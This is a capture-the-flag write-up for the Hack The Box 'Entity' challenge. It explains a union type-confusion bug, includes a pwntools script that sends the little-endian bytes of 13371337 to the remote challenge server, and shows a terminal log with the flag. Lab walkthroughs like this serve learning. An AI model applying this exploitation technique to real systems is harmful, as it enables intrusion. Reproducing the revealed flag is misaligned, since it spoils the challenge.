Challenge: Entity

Challenge Description :

This Spooky Time of the year, what's better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what's definitely not better? Something coming out of your TV!

Context :

- You are given a compiled binary file that we need to decompile, during decompiling the file you need to analyze the binary code and find an exploit towards this file, so you can exploit the remote version.
- To solve the challenge, you need to exploit the fact that DataStore can be interpreted both as a string and as an integer, and they share the same memory..

Flag :

- First downloading the files. Here's a step-by-step breakdown of how to accomplish this.
- The DataStore union allows [DataStore.integer] and [DataStore.string] to share the same memory. Therefore, if you set the string part to the binary representation of [13371337] , the integer part will also hold [13371337].
- To trigger the flag retrieval, [DataStore.string] must be [13371337] . Directly setting [DataStore.string] to [13371337] will fail due to the check that exits the program. However, setting [DataStore.string] to the bytes that represent [13371337] (in little-endian format) bypasses this check.
- We can use a python script to send this payload to the server. I give a link out to the script. [Link]

```python
from pwn import *

def main():
    # Connect to the remote service
    p = remote('134.122.106.203', 30576)

    # Set up the interaction to input the bytes for 13371337 in little-endian format
    p.sendlineafter(b'>> ', b'T')         # Choose to set a field
    p.sendlineafter(b'>> ', b'S')         # Choose STRING type
    p.sendlineafter(b'>> ', p64(13371337))  # Send the little-endian representation of 13371337
    p.sendlineafter(b'>> ', b'C')         # Choose to get the flag

    # Print the response, which should be the flag
    print(p.recvline().decode())

    # Close the connection
    p.close()

if __name__ == "__main__":
    main()
```

```
birdo@DESKTOP-0ENQDDA: /mnt/c/Users/drobo/Music/htb-challanges/Initialization/cry
birdo@DESKTOP-0ENQDDA:/mnt/c/Users/drobo/Music/htb-challanges/
[+] Opening connection to 94.237.59.63 on port 59279: Done
HTB{th3_3nt1ty_0f_htb00_i5_5t1ll_h3r3}

[*] Closed connection to 94.237.59.63 port 59279
birdo@DESKTOP-0ENQDDA:/mnt/c/Users/drobo/Music/htb-challanges/
```

- The Flag given is : HTB{th3_3nt1ty_0f_htb00_i5_5t1ll_h3r3}